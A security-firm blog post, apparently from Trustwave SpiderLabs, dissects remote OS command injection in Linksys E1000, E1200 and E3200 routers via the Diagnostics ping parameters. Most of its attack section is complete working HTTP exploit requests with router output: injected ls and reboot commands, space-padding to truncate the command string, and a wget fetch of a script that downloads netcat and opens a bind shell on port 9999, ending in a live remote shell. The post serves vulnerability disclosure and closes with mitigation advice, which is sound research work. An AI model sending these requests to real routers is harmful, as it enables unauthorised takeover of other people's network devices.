Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Under The Hood: Linksys Remote Command Injection Vulnerabilities

Several models in the Linksys E-Series WiFi routers running their respective current firmwares are prone to remote OS command injection vulnerabilities. In this article, we'll take a look at two of these vulnerabilities that exist due to improper validation of system command parameters passed via the stock Linksys web administration interface.

The first vulnerability I'll discuss is one I reported in this advisory and the second was previously published by Michael Messner. I'll walk you through the mechanics of exploiting each of them, and explain how and why they work. All of my testing was done using Linksys E1000, E1200, and E3200 models.

In the case of the E1000, these vulnerabilities do not require an attacker to be authenticated prior to performing the exploit. For the other models, authentication is not required when the router is in its factory default state but is required once the router has been configured using Cisco Connect software or configured manually. This is because an HTTP service running on TCP port 52000, which is used by Cisco Connect for initial configuration, does not prompt users for credentials like the HTTP service running by default on TCP port 80 does. Once an E1200 or E3200's configuration has changed, the service that listens on TCP/52000 is no longer started at boot. Post-configuration on an E1000, that service is still there and, as far as I can tell, there is no way to disable it.

Note that while researching these vulnerabilities, I was connected to each router's serial interface so I could see the terminal commands that were run as a result of interacting with its HTTP services, as well as the output of those commands. The output examples in this article are taken from that serial connection. Jon Claudius wrote an excellent article on how to connect to your device's serial interface.

This is the aforementioned Cisco Connect process that listens on TCP/52000 on these Linksys devices:

#ps aux...  107 0     S    /tmp/wm-httpd -p 52000 -w...

Looking in the /tmp directory, wm-httpd is a symlink to the httpd program responsible for the device's web administration interface:

lrwxrwxrwx    1 0    0      15 Jan  1 00:00 wm-httpd -> /usr/sbin/httpd

In an E-Series router's web administration interface, there is a Diagnostics page (Administration->Diagnostics).

1-e1000-DiagnosticsPage
Within the Ping Test portion of this page, there are three parameters that accept user input: ping_ip, ping_size, and ping_times.

Vulnerability #1: Injecting Commands Into 'ping_ip' (Confirmed on Linksys E1000)

Though there seems to be some sort of input validation going on for the value passed via the ping_ip parameter, it is possible to execute arbitrary commands by appending them after a valid IP address using two ampersand characters:

POST request:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 163submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
action=&commit=0&ping_ip=127.0.0.1%26%26ls&ping_times=5&ping_size=32&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1&&ls] times[5] size[32]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 -f /tmp/ping.log 127.0.0.1&&ls &]cmd=[killall ping ](6033)killall: ping: no process killedwwwvarusrtmpsyssbinprocmntlibetcdevbin

This indicates that once the ping command successfully exits, the 'ls' command I injected is executed. The same goes for other commands, like 'reboot':

POST request:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 167submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
action=&commit=0&ping_ip=127.0.0.1%26%26reboot&ping_times=5&ping_size=32&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1&&reboot] times[5] size[32]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 -f /tmp/ping.log 127.0.0.1&&reboot &]cmd=[killall ping ](24118)killall: ping: no process killedTerminated...........................………Sending SIGTERM to all processesinfo, Received SIGTERMUPnP::upnp_device_detach:br0: detach InternetGatewayDevice.xmlUPnP::upnp_shutdown:UPnP daemon stoppedUPnP::upnp_mainloop:UPnP shutdown!Sending SIGKILL to all processesRestarting system.Decompressing using gzip...........doneDecompressing using gzip...........doneStart to blink diag led …CFE version 1.0.37 for BCM947XX (32bit,SP,LE)Build Date: 01/13/10 11:50:36 CST (root@chungzi_pc)-snip-

The first thought that popped into my head after seeing this was that it'd be awfully easy to perform a social/psychological experiment by walking into a coffee shop that is equipped with an E1000 and repeatedly bouncing their router. Hipsters Gone Wild? The best part is that I don't even need to defeat any authentication mechanisms to do so!

Note that if I try to run a command that contains spaces ('ls -al'), the 'cmd' string doesn't get constructed.

POST Request:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 171submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
action=&commit=0&ping_ip=127.0.0.1%26%26ls%20%2Dal&ping_times=5&ping_size=32&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1&&ls -al] times[5] size[32]signalling USER1Restart service=[start_ping]

Since the E1000 is no longer supported by Linksys and won't be receiving any firmware updates, I'd say it's time to upgrade your hardware.

On the E1200/E3200, I was unable to execute any commands appended onto the IP address, as I did with the E1000. It appears that there is validation being done on that value, which prevents the ping command string from being constructed.

Next, I tried to inject commands on the E1000 using the ping_times parameter but was unsuccessful there as well. Onto ping_size…

Vulnerability #2: Injecting Commands Into 'ping_size' (Confirmed on Linksys E1000, E1200, and E3200)

The approach I take here is slightly different than Michael Messner's but the attack vector is the same. The issue is that there doesn't seem to be any validation being done on values passed to system commands via the ping_size parameter. As long as I can get the ping command to exit successfully, I can run whatever I want to afterwards. I did this by supplying a valid IP address to complete the initial ping command, and then my additional command(s):

POST request:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 183submit_button=Diagnostics&change_action=gozila_cgi&
submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&
ping_size=32%20127.0.0.1%26%26ls%20%2Dal&traceroute_ip=

Serial Output:

submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1] times[5] size[32 127.0.0.1&&ls -al]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&ls -al -f /tmp/ping.log 127.0.0.1 &]cmd=[killall ping ](398)killall: ping: no process killedHit enter to continue...PING 127.0.0.1 (127.0.0.1): 24 data bytes32 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.5 ms32 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.4 ms--- 127.0.0.1 ping statistics ---5 packets transmitted, 5 packets received, 0% packet lossround-trip min/avg/max = 0.4/0.4/0.5 msls: illegal option -- fBusyBox v0.60.0 (2011.05.06-09:47+0000) multi-call binaryUsage: ls [-1AacCdeFilnpsTtuwxhk] [filenames…]Hit enter to continue…

As you can see, I'm not getting a directory listing because the built-in command line argument that specifies the location of the ping log and the ping_ip parameter's value are being appended. However, this is easy to get around because the length of the 'cmd' string is fixed. If I pad the end of my command with spaces, I can effectively push the remainder of the command string out of the way.

POST request:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 417submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26ls%20%2Dal%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1] times[5] size[32 127.0.0.1&&ls -al                 ]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&ls -al                  ]cmd=[killall ping ](710)killall: ping: no process killedPING 127.0.0.1 (127.0.0.1): 24 data bytes32 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.8 ms32 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.4 ms32 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.4 ms--- 127.0.0.1 ping statistics ---5 packets transmitted, 5 packets received, 0% packet lossround-trip min/avg/max = 0.4/0.4/0.8 msdrwxr-xr-x 5 513 514 1953 May 6 2011 wwwlrwxrwxrwx 1 513 514 7 May 6 2011 var -> tmp/vardrwxr-xr-x 6 513 514 55 May 6 2011 usrdrwxr-xr-x 1 0 0 0 Jan 1 2000 tmpdrwxrwxr-x 2 513 514 3 May 6 2011 sysdrwxr-xr-x 2 513 514 613 May 6 2011 sbindr-xr-xr-x 35 0 0 0 Jan 1 2000 procdrwxrwxr-x 2 513 514 3 May 6 2011 mntdrwxr-xr-x 3 513 514 177 May 6 2011 libdrwxr-xr-x 3 513 514 203 May 6 2011 etcdrwxr-xr-x 1 0 0 0 Jan 1 00:00 devdrwxr-xr-x 2 513 514 266 May 6 2011 bindrwxr-xr-x 13 513 514 119 May 6 2011 ..drwxr-xr-x 13 513 514 119 May 6 2011 .#

Next I statically compiled a netcat binary for the E1000 using the toolchain provided for WRT160N routers (this worked for all the E-Series routers I tested) with the intent of using the built-in wget command to fetch a shell script which would download my netcat binary, make it executable, and set up a netcat listener that I could connect to remotely in as few requests as possible. This is similar to what is described here. Given the size constraints of the 'cmd' string on the E1000, I had to break the attack up into two requests because I couldn't fit both the wget and sh commands into a single cmd string. On the E1200 and E3200, the 'cmd' string length is greater, allowing me to download my script and set up a netcat listener in a single request.

Contents of shell script, 'n':

wget http://192.168.1.128/nc -O /tmp/ncchmod 777 /tmp/nc/tmp/nc -v -l -p 9999 -e /bin/sh

Getting A Remote Shell: Linksys E1000

POST request #1:

POST /apply.cgi HTTP/1.1Host: 192.168.1.1:52000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.1:52000/apply.cgiConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 342submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26wget%20http%3A%2F%2F192.168.1.128%2Fn%20-O%20%2Ftmp%2Fn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]
name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]
ip[127.0.0.1] times[5] size[32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n ]
signalling USER1
Restart service=[start_ping]
cmd=[ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n]
cmd=[killall ping ](1984)
killall: ping: no process killed
PING 127.0.0.1 (127.0.0.1): 24 data bytes
32 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.4 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
n 100% |*****************************| 91 00:00 ETA

POST request #2:

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1:52000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1:52000/apply.cgi
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 302

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26sh%20%2Ftmp%2Fn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]
name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]
ip[127.0.0.1] times[5] size[32 127.0.0.1&&sh /tmp/n ]
signalling USER1
Restart service=[start_ping]
cmd=[ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&sh /tmp/n ]
cmd=[killall ping ](2173)
killall: ping: no process killed
PING 127.0.0.1 (127.0.0.1): 24 data bytes
32 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.4 ms
32 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.4 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
nc 100% |*****************************| 3520 KB 00:00 ETA
Connection from 192.168.1.136:64800

The last line shows that I connected to my netcat listener from 192.168.1.136. On that machine, where 192.168.1.1 is the E1000:

jleyrer@jlmbp:~$ nc 192.168.1.1 9999
ls
www
var
us
tmp
sys
sbin
proc
mnt
lib
etc
dev
bin

Getting A Remote Shell: E1200 & E3200 (E1200 shown)

POST request:

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1:52000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1:52000/apply.cgi
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 363

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26wget%20http%3A%2F%2F192.168.1.128%2Fn%20-O%20%2Ftmp%2Fn%26%26sh%20%2Ftmp%2Fn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip=

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]
name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]
ip[127.0.0.1] times[5] size[32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n&&sh /tmp/n ]
cmd=[/sbin/diag_pingbutton ]
cmd=[killall ping ]
killall: ping: no process killed
cmd=[ping -c 5 -s 32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n&&sh /tmp/n ]
PING 127.0.0.1 (127.0.0.1): 32 data bytes
40 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.8 ms
40 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.7 ms
40 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.4 ms
40 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.4 ms
40 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.5 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.5/0.8 ms
Connecting to 192.168.1.128 (192.168.1.128:80)
n 100% |*******************************| 91 --:--:-- ETA
Connecting to 192.168.1.128 (192.168.1.128:80)
nc 100% |*******************************| 3520k 00:00:00 ETA
Connection from 192.168.1.100:51750

192.168.1.1 is the E1200:

jleyrer@jlmbp:~$ nc 192.168.1.1 9999
ls
www
var
us
tmp
sys
sbin
proc
mnt
lib
etc
dev
bin

Note that on all the routers I tested, these requests can also be sent as GET requests. The single GET request that can be used to exploit the E1200 & E3200 is as follows:

GET request:

GET /apply.cgi?submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26wget%20http%3A%2F%2F192.168.1.128%2Fn%20-O%20%2Ftmp%2Fn%26%26sh%20%2Ftmp%2Fn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip= HTTP/1.1Host: 192.168.1.1:52000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1:52000/apply.cgi
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2

Serial Output:

# submit_button=[Diagnostics] submit_type=[start_ping]
name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]
ip[127.0.0.1] times[5] size[32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n&&sh /tmp/n ]
cmd=[/sbin/diag_pingbutton ]
cmd=[killall ping ]
killall: ping: no process killed
cmd=[ping -c 5 -s 32 127.0.0.1&&wget http://192.168.1.128/n -O /tmp/n&&sh /tmp/n ]
PING 127.0.0.1 (127.0.0.1): 32 data bytes
40 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.9 ms
40 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.5 ms
40 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.5 ms
40 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.5 ms
40 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.5 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.5/0.5/0.9 ms
Connecting to 192.168.1.128 (192.168.1.128:80)
n 100% |*******************************| 91 --:--:-- ETA
Connecting to 192.168.1.128 (192.168.1.128:80)
nc 100% |*******************************| 3520k 00:00:00 ETA
Connection from 192.168.1.140:52845

Now what?

Though all of these models are still widely used, the E1200 is the only one still supported by Linksys. They've released new firmware for it, Ver.2.0.05 (Build 2), and it's available on their website. As for the others, you're out of luck.

Unless you really need the ability to manage one of these devices externally, it's best to disable its Remote Management functionality. This would limit exposure to these attacks to your local network. However, there still exists the possibility of clever cross-site request forgery attacks using variants of the aforementioned GET requests in order to access your router's management interface and do nasty things.

Latest SpiderLabs Blogs

Clockwork Blue: Automating Security Defenses with SOAR and AI

It’s impractical to operate security operations alone, using manual human processes. Finding opportunities to automate SecOps is an underlying foundation of Zero Trust and an essential architecture...

Read More

Professional Services Sector Under Attack - Trustwave SpiderLabs Report 2024

Recent research by Trustwave SpiderLabs, detailed in their newly published report "2024 Professional Services Threat Landscape: Trustwave Threat Intelligence Briefing and Mitigation Strategies,"...

Read More

Atlas Oil: The Consequences of a Ransomware Attack

Overview Atlas Oil, a major player in the oil and fuel distribution industry, fell victim to a ransomware attack orchestrated by the Black Basta group. This attack not only compromised sensitive...

Read More